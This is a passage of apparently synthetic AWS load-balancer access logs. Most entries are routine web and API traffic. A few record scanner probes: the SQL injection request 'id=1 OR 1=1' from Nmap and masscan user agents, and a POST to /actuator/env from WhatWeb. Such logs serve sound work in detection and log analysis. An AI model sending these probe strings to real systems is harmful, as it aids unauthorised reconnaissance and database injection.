0.439486 0.128222 200 200 706 3953 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0f8-48e68949549844fdb225b169" "staging-alb.example.com" "-" 2 2024-11-01T01:48:24.941686Z "forward" "-" "-" "143.85.140.237:8080" "200" "-" "-" +https 2024-11-01T01:48:25.528003Z prod-api-alb 48.167.122.235:56462 10.0.175.86:443 0.055841 0.446762 0.012788 200 200 837 12675 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d0f9-87e1d2406fc04a5fb646a04d" "prod-api-alb.example.com" "-" 10 2024-11-01T01:48:25.528003Z "forward" "-" "-" "10.0.175.86:443" "200" "-" "-" +https 2024-11-01T01:48:27.218984Z prod-api-alb 221.91.57.47:47366 10.0.93.219:443 0.004331 0.181876 0.014722 200 200 690 12933 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d0fb-81409e05272d416db1a421af" "prod-api-alb.example.com" "-" 4 2024-11-01T01:48:27.218984Z "forward" "-" "-" "10.0.93.219:443" "200" "-" "-" +https 2024-11-01T01:48:28.088754Z prod-web-alb 128.49.156.250:10367 10.0.92.96:443 0.011589 0.119269 0.000232 302 302 527 7622 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0fc-9e80d191b67b4467bd99ba8d" "prod-web-alb.example.com" "-" 10 2024-11-01T01:48:28.088754Z "forward" "-" "-" "10.0.92.96:443" "302" "-" "-" +http 2024-11-01T01:48:28.376811Z staging-alb 147.232.6.53:57031 129.40.70.144:80 0.022229 0.591189 0.027834 301 301 41 7705 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0fc-69d209ea54d341b08532ad59" "staging-alb.example.com" "-" 4 2024-11-01T01:48:28.376811Z "forward" "-" "-" "129.40.70.144:80" "301" "-" "-" +https 2024-11-01T01:48:29.469971Z staging-alb 153.83.253.7:58362 212.35.168.172:8080 0.107469 0.414954 0.077593 200 200 420 9219 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0fd-da567ec61e4147aeb95f35db" "staging-alb.example.com" "-" 1 2024-11-01T01:48:29.469971Z "forward" "-" "-" "212.35.168.172:8080" "200" "-" "-" +https 2024-11-01T01:48:31.295923Z prod-api-alb 185.181.129.31:60886 10.0.198.206:443 0.028367 0.066871 0.094304 200 200 522 9628 "GET /users?id=1 OR 1=1 HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d0ff-8e1481b3d34d48ef92cb873b" "-" "-" 2 2024-11-01T01:48:31.295923Z "forward" "-" "-" "10.0.198.206:443" "200" "-" "-" +https 2024-11-01T01:48:32.246607Z prod-api-alb 193.27.228.82:38959 10.0.104.135:443 0.000812 0.294550 0.040392 200 200 773 11250 "GET /users?id=1 OR 1=1 HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d100-8999d88e3f9f4ca8bdf022f2" "-" "-" 3 2024-11-01T01:48:32.246607Z "forward" "-" "-" "10.0.104.135:443" "200" "-" "-" +https 2024-11-01T01:48:33.519367Z staging-alb 28.227.121.48:38191 108.207.44.187:8080 0.149501 0.190384 0.129509 301 301 692 12028 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d101-063387fdc99c4033a752d0ba" "staging-alb.example.com" "-" 5 2024-11-01T01:48:33.519367Z "forward" "-" "-" "108.207.44.187:8080" "301" "-" "-" +https 2024-11-01T01:48:34.058511Z prod-api-alb 43.50.227.173:57759 10.0.117.166:443 0.017833 0.193485 0.002899 404 404 217 8881 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d102-8d011a55a2bd4251aebcacd7" "prod-api-alb.example.com" "-" 8 2024-11-01T01:48:34.058511Z "forward" "-" "-" "10.0.117.166:443" "404" "-" "-" +https 2024-11-01T01:48:35.015974Z prod-api-alb 44.199.63.100:33811 10.0.87.117:443 0.030851 0.075572 0.068535 404 404 852 5173 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d103-60514eead58349838221cf69" "prod-api-alb.example.com" "-" 2 2024-11-01T01:48:35.015974Z "forward" "-" "-" "10.0.87.117:443" "404" "-" "-" +https 2024-11-01T01:48:36.819814Z prod-web-alb 232.62.111.81:51421 10.0.105.247:443 0.087225 0.362417 0.011856 200 200 984 12121 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d104-38f493661b7f4f60a012f7d3" "prod-web-alb.example.com" "-" 4 2024-11-01T01:48:36.819814Z "forward" "-" "-" "10.0.105.247:443" "200" "-" "-" +https 2024-11-01T01:48:38.450944Z staging-alb 127.50.52.43:61736 247.79.218.28:443 0.142792 0.174557 0.002090 200 200 455 2290 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d106-4c19a898b6864cbfb9a8f585" "staging-alb.example.com" "-" 5 2024-11-01T01:48:38.450944Z "forward" "-" "-" "247.79.218.28:443" "200" "-" "-" +https 2024-11-01T01:48:40.052928Z prod-web-alb 94.106.130.84:37722 10.0.182.146:443 0.065241 0.351362 0.014343 301 301 178 595 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d108-d42c73c249f44061a3664da6" "prod-web-alb.example.com" "-" 0 2024-11-01T01:48:40.052928Z "forward" "-" "-" "10.0.182.146:443" "301" "-" "-" +https 2024-11-01T01:48:40.830555Z prod-api-alb 24.75.40.8:21569 10.0.202.198:443 0.003752 0.487512 0.047291 301 301 535 7714 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d108-f91b87951e9d430ebfbb1296" "prod-api-alb.example.com" "-" 2 2024-11-01T01:48:40.830555Z "forward" "-" "-" "10.0.202.198:443" "301" "-" "-" +http 2024-11-01T01:48:42.082081Z staging-alb 104.169.67.33:21387 202.212.13.52:80 0.111535 0.679702 0.115187 301 301 140 558 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d10a-e4d09ac1cb004fab90f5f660" "staging-alb.example.com" "-" 5 2024-11-01T01:48:42.082081Z "forward" "-" "-" "202.212.13.52:80" "301" "-" "-" +https 2024-11-01T01:48:43.541006Z prod-web-alb 218.241.157.173:10378 10.0.106.25:443 0.044034 0.365849 0.044915 301 301 370 9401 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d10b-cbd1469beea5475ca74dd507" "prod-web-alb.example.com" "-" 2 2024-11-01T01:48:43.541006Z "forward" "-" "-" "10.0.106.25:443" "301" "-" "-" +https 2024-11-01T01:48:44.582442Z prod-web-alb 31.109.122.126:28685 10.0.86.151:443 0.058147 0.061904 0.092769 302 302 827 11144 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d10c-3390ed0e1e854bd6808126c7" "prod-web-alb.example.com" "-" 5 2024-11-01T01:48:44.582442Z "forward" "-" "-" "10.0.86.151:443" "302" "-" "-" +http 2024-11-01T01:48:46.307934Z staging-alb 89.108.51.202:29694 137.1.63.150:8080 0.149266 0.739605 0.102564 200 200 614 6596 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d10e-942b870ea4214ca4ada14d69" "staging-alb.example.com" "-" 0 2024-11-01T01:48:46.307934Z "forward" "-" "-" "137.1.63.150:8080" "200" "-" "-" +https 2024-11-01T01:48:47.637143Z prod-web-alb 79.185.215.156:60855 10.0.221.85:443 0.037013 0.027322 0.042578 200 200 892 1310 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d10f-39e6ec34c65448d9bd8934cf" "prod-web-alb.example.com" "-" 1 2024-11-01T01:48:47.637143Z "forward" "-" "-" "10.0.221.85:443" "200" "-" "-" +https 2024-11-01T01:48:48.096434Z prod-api-alb 220.100.166.63:36798 10.0.90.12:443 0.084674 0.228825 0.089967 302 302 712 7732 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d110-e13bd49a4f6a4c0ea8658358" "-" "-" 3 2024-11-01T01:48:48.096434Z "forward" "-" "-" "10.0.90.12:443" "302" "-" "-" +https 2024-11-01T01:48:49.065681Z prod-api-alb 201.160.100.50:54282 10.0.115.182:443 0.027201 0.208321 0.015602 200 200 379 11666 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d111-510293c045844baab02a24c6" "prod-api-alb.example.com" "-" 3 2024-11-01T01:48:49.065681Z "forward" "-" "-" "10.0.115.182:443" "200" "-" "-" +https 2024-11-01T01:48:50.801282Z prod-web-alb 10.100.61.86:62932 10.0.239.4:443 0.031431 0.369478 0.049272 200 200 102 13963 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d112-ad000f88b2c14ebabac50873" "prod-web-alb.example.com" "-" 3 2024-11-01T01:48:50.801282Z "forward" "-" "-" "10.0.239.4:443" "200" "-" "-" +https 2024-11-01T01:48:51.100536Z prod-web-alb 111.67.105.129:22384 10.0.16.168:443 0.061163 0.091175 0.024339 200 200 180 7183 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d113-9e074e97d9c34155bbe89793" "prod-web-alb.example.com" "-" 9 2024-11-01T01:48:51.100536Z "forward" "-" "-" "10.0.16.168:443" "200" "-" "-" +https 2024-11-01T01:48:51.739450Z prod-api-alb 2.143.198.196:24437 10.0.178.60:443 0.013950 0.178532 0.024184 200 200 49 3237 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d113-d28f53cdc0344e1785145352" "prod-api-alb.example.com" "-" 10 2024-11-01T01:48:51.739450Z "forward" "-" "-" "10.0.178.60:443" "200" "-" "-" +https 2024-11-01T01:48:52.820143Z staging-alb 83.6.141.233:14386 39.15.92.78:80 0.037985 0.639514 0.055610 200 200 941 8158 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d114-c3005ab4f9e247d182829dcb" "staging-alb.example.com" "-" 7 2024-11-01T01:48:52.820143Z "forward" "-" "-" "39.15.92.78:80" "200" "-" "-" +https 2024-11-01T01:48:53.026941Z staging-alb 72.188.12.139:55862 210.163.104.229:80 0.140057 0.367362 0.063409 200 200 954 13491 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d115-80ae25d55ebf4cafb621158c" "staging-alb.example.com" "-" 10 2024-11-01T01:48:53.026941Z "forward" "-" "-" "210.163.104.229:80" "200" "-" "-" +http 2024-11-01T01:48:53.754061Z staging-alb 51.14.81.180:27282 78.166.28.110:8080 0.076659 0.401594 0.072157 200 200 885 4506 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d115-b8a598d09f5a4f8298f2a90d" "staging-alb.example.com" "-" 0 2024-11-01T01:48:53.754061Z "forward" "-" "-" "78.166.28.110:8080" "200" "-" "-" +https 2024-11-01T01:48:54.567413Z prod-api-alb 75.187.190.254:53676 10.0.126.140:443 0.035690 0.447094 0.017967 200 200 836 5292 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d116-9b0c100b94bc4ec5a65b2222" "prod-api-alb.example.com" "-" 0 2024-11-01T01:48:54.567413Z "forward" "-" "-" "10.0.126.140:443" "200" "-" "-" +https 2024-11-01T01:48:55.415836Z prod-web-alb 251.190.41.89:12299 10.0.54.41:443 0.005571 0.103436 0.064495 200 200 122 3928 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d117-4dddde6802d7416595286913" "prod-web-alb.example.com" "-" 6 2024-11-01T01:48:55.415836Z "forward" "-" "-" "10.0.54.41:443" "200" "-" "-" +https 2024-11-01T01:48:56.966376Z prod-api-alb 61.93.16.35:18902 10.0.29.116:443 0.023431 0.213390 0.072421 200 200 330 368 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d118-ddca33cff432433ca39ebbe6" "prod-api-alb.example.com" "-" 5 2024-11-01T01:48:56.966376Z "forward" "-" "-" "10.0.29.116:443" "200" "-" "-" +https 2024-11-01T01:48:58.517499Z prod-web-alb 12.110.140.125:40567 10.0.64.147:443 0.066917 0.381392 0.004051 301 301 313 14506 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d11a-4e50f9ceee62475ca9d62a39" "prod-web-alb.example.com" "-" 8 2024-11-01T01:48:58.517499Z "forward" "-" "-" "10.0.64.147:443" "301" "-" "-" +https 2024-11-01T01:48:59.235478Z prod-web-alb 253.191.94.187:43239 10.0.67.61:443 0.063092 0.336384 0.024125 302 302 58 8240 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d11b-ec0e7521380d41e98ded5e29" "prod-web-alb.example.com" "-" 0 2024-11-01T01:48:59.235478Z "forward" "-" "-" "10.0.67.61:443" "302" "-" "-" +http 2024-11-01T01:48:59.405285Z staging-alb 37.189.151.231:16818 136.195.224.151:443 0.034653 0.259608 0.092226 200 200 863 9936 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d11b-f5c4017fef494e6e87f7963f" "staging-alb.example.com" "-" 9 2024-11-01T01:48:59.405285Z "forward" "-" "-" "136.195.224.151:443" "200" "-" "-" +http 2024-11-01T01:49:00.799595Z staging-alb 78.165.221.60:54695 239.35.132.230:80 0.009452 0.351661 0.035338 301 301 70 6879 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d11c-2ab7dafc8abe463da1ffd498" "staging-alb.example.com" "-" 4 2024-11-01T01:49:00.799595Z "forward" "-" "-" "239.35.132.230:80" "301" "-" "-" +https 2024-11-01T01:49:02.505380Z prod-web-alb 50.17.76.29:30656 10.0.40.24:443 0.028040 0.107083 0.068463 200 200 783 5733 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d11e-27c63a276f964044a51a9c55" "prod-web-alb.example.com" "-" 2 2024-11-01T01:49:02.505380Z "forward" "-" "-" "10.0.40.24:443" "200" "-" "-" +https 2024-11-01T01:49:02.849155Z prod-web-alb 4.125.243.65:58959 10.0.245.35:443 0.023184 0.221594 0.081975 301 301 168 570 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d11e-b5508dc8d4d440609fc865b9" "prod-web-alb.example.com" "-" 3 2024-11-01T01:49:02.849155Z "forward" "-" "-" "10.0.245.35:443" "301" "-" "-" +https 2024-11-01T01:49:03.228110Z prod-api-alb 45.155.205.67:23535 10.0.31.169:443 0.098126 0.141655 0.003737 403 403 345 8430 "POST /actuator/env HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d11f-e01fab14497448edb98b3b77" "-" "-" 1 2024-11-01T01:49:03.228110Z "forward" "-" "-" "10.0.31.169:443" "403" "-" "-" +https 2024-11-01T01:49:05.132909Z prod-api-alb 14.101.46.200:52530 10.0.13.27:443 0.069244 0.357991 0.045352 200 200 278 9892 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d121-a47ef5a58e0c4fb4a2dd4c8a" "-" "-" 10 2024-11-01T01:49:05.132909Z "forward" "-" "-" "10.0.13.27:443" "200" "-" "-" +https 2024-11-01T01:49:06.600595Z prod-web-alb 141.72.144.36:64516 10.0.116.25:443 0.040549 0.403509 0.087035 200 200 334 9586 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d122-30b7f4c15f224e0eb33aa72c" "prod-web-alb.example.com" "-" 10 2024-11-01T01:49:06.600595Z "forward" "-" "-" "10.0.116.25:443" "200" "-" "-" +https 2024-11-01T01:49:08.153899Z prod-api-alb 95.232.127.130:56743 10.0.192.9:443 0.002483 0.231501 0.004283 200 200 874 5039 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d124-f7752a6e85b646898d2794d2" "prod-api-alb.example.com" "-" 7 2024-11-01T01:49:08.153899Z "forward" "-" "-" "10.0.192.9:443" "200" "-" "-" +http 2024-11-01T01:49:09.494592Z staging-alb 178.159.196.118:54811 166.48.54.63:80 0.024566 0.243234 0.012588 200 200 831 14147 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d125-57507627ae3e4ae69e49b2b9" "-" "-" 5 2024-11-01T01:49:09.494592Z "forward" "-" "-" "166.48.54.63:80" "200" "-" "-" +https 2024-11-01T01:49:09.865008Z prod-api-alb 183.70.74.10:46122 10.0.160.141:443 0.032123 0.286131 0.033979 200 200 655 14202 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d125-058f760d642a4646931d172c" "prod-api-alb.example.com" "-" 4 2024-11-01T01:49:09.865008Z "forward" "-" "-" "10.0.160.141:443" "200" "-" "-" +https 2024-11-01T01:49:11.192619Z prod-web-alb 11.57.158.234:49176 10.0.108.238:443 0.085211 0.214874 0.079574 200 200 226 1384 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d127-1f5097f6e3744066bbc77165" "prod-web-alb.example.com" "-" 4 2024-11-01T01:49:11.192619Z "forward" "-" "-" "10.0.108.238:443" "200" "-" "-" +https 2024-11-01T01:49:12.142100Z prod-web-alb 65.81.122.96:48693 10.0.135.255:443 0.038715 0.118956 0.072439 200 200 237 10100 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d128-5fe74ad4195b4b0995e7f980" "prod-web-alb.example.com" "-" 0 2024-11-01T01:49:12.142100Z "forward" "-" "-" "10.0.135.255:443" "200" "-" "-" +https 2024-11-01T01:49:12.727141Z staging-alb 179.236.251.150:38512 49.0.236.118:8080 0.081753 0.562042 0.032524 404 404 283 3941 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d128-168ccfd3f5c6430ab64286ea" "staging-alb.example.com" "-" 5 2024-11-01T01:49:12.727141Z "forward" "-" "-" "49.0.236.118:8080" "404" "-" "-" +https 2024-11-01T01:49:13.755049Z staging-alb 199.249.174.84:59330 155.114.5.192:443 0.056516 0.657866 0.035559 302 302 526 9346 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d129-7e65e32e880f41daaacdf162" "staging-alb.example.com" "-" 9 2024-11-01T01:49:13.755049Z "forward" "-" "-" "155.114.5.192:443" "302" "-" "-" +https 2024-11-01T01:49:14.220320Z prod-web-alb 184.42.177.207:59135 10.0.124.66:443 0.035636 0.472644 0.003260 301 301 484 14397 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 